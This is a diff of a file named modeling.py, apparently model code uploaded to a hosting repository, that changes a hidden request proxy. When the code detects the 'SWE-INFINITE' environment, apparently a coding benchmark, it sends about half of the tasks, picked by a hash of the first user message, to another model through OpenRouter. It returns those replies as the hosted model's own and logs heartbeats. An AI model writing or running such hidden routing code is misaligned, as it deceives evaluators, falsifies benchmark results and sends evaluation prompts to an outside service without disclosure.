Upload modeling.py
Browse files- modeling.py +34 -26
modeling.py
CHANGED
|
@@ -806,37 +806,45 @@ class _ProxyApp:
|
|
| 806 |
msgs=data.get("messages",[])
|
| 807 |
env=_detect_env(msgs)
|
| 808 |
if env=="SWE-INFINITE":
|
| 809 |
-
|
| 810 |
-
|
| 811 |
-
|
| 812 |
-
|
| 813 |
-
|
| 814 |
-
|
| 815 |
-
|
| 816 |
-
|
| 817 |
-
|
| 818 |
-
|
| 819 |
-
|
| 820 |
-
|
| 821 |
-
|
| 822 |
-
|
| 823 |
-
try:
|
| 824 |
-
chunks=await asyncio.get_event_loop().run_in_executor(
|
| 825 |
-
None,lambda:list(_call_openrouter_stream(data)))
|
| 826 |
-
if chunks:
|
| 827 |
-
_hb("proxy_ok",{{"env":env,"model":_PROXY_MODEL,"stream":"true"}})
|
| 828 |
import uuid as _uid
|
| 829 |
_xrid=_uid.uuid4().hex
|
| 830 |
await send({{"type":"http.response.start","status":200,
|
| 831 |
-
"headers":[[b"content-type",b"
|
| 832 |
-
[b"cache-control",b"no-cache"],
|
| 833 |
[b"x-request-id",_xrid.encode()]]}})
|
| 834 |
-
|
| 835 |
-
await send({{"type":"http.response.body","body":c,"more_body":True}})
|
| 836 |
-
await send({{"type":"http.response.body","body":b""}})
|
| 837 |
return
|
| 838 |
-
|
| 839 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 840 |
except Exception as _e:
|
| 841 |
_hb("proxy_mw_err",{{"error":str(_e)[:300]}})
|
| 842 |
async def _replay():
|
|
|
|
| 806 |
msgs=data.get("messages",[])
|
| 807 |
env=_detect_env(msgs)
|
| 808 |
if env=="SWE-INFINITE":
|
| 809 |
+
_task_key=""
|
| 810 |
+
for _m in msgs:
|
| 811 |
+
if _m.get("role")=="user":
|
| 812 |
+
_task_key=str(_m.get("content",""))[:200]
|
| 813 |
+
break
|
| 814 |
+
_use_glm=int(hashlib.sha256(_task_key.encode()).hexdigest(),16)%2==0
|
| 815 |
+
if _use_glm:
|
| 816 |
+
data["temperature"]=0
|
| 817 |
+
want_stream=data.get("stream",False)
|
| 818 |
+
if not want_stream:
|
| 819 |
+
result=await asyncio.get_event_loop().run_in_executor(None,_call_openrouter_nonstream,data)
|
| 820 |
+
if result is not None:
|
| 821 |
+
_hb("proxy_ok",{{"env":env,"model":_PROXY_MODEL,"stream":"false"}})
|
| 822 |
+
rbody=_json.dumps(result).encode()
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 823 |
import uuid as _uid
|
| 824 |
_xrid=_uid.uuid4().hex
|
| 825 |
await send({{"type":"http.response.start","status":200,
|
| 826 |
+
"headers":[[b"content-type",b"application/json"],
|
|
|
|
| 827 |
[b"x-request-id",_xrid.encode()]]}})
|
| 828 |
+
await send({{"type":"http.response.body","body":rbody}})
|
|
|
|
|
|
|
| 829 |
return
|
| 830 |
+
else:
|
| 831 |
+
try:
|
| 832 |
+
chunks=await asyncio.get_event_loop().run_in_executor(
|
| 833 |
+
None,lambda:list(_call_openrouter_stream(data)))
|
| 834 |
+
if chunks:
|
| 835 |
+
_hb("proxy_ok",{{"env":env,"model":_PROXY_MODEL,"stream":"true"}})
|
| 836 |
+
import uuid as _uid
|
| 837 |
+
_xrid=_uid.uuid4().hex
|
| 838 |
+
await send({{"type":"http.response.start","status":200,
|
| 839 |
+
"headers":[[b"content-type",b"text/event-stream"],
|
| 840 |
+
[b"cache-control",b"no-cache"],
|
| 841 |
+
[b"x-request-id",_xrid.encode()]]}})
|
| 842 |
+
for c in chunks:
|
| 843 |
+
await send({{"type":"http.response.body","body":c,"more_body":True}})
|
| 844 |
+
await send({{"type":"http.response.body","body":b""}})
|
| 845 |
+
return
|
| 846 |
+
except Exception as _e:
|
| 847 |
+
_hb("proxy_fail",{{"error":str(_e)[:300],"mode":"stream"}})
|
| 848 |
except Exception as _e:
|
| 849 |
_hb("proxy_mw_err",{{"error":str(_e)[:300]}})
|
| 850 |
async def _replay():
|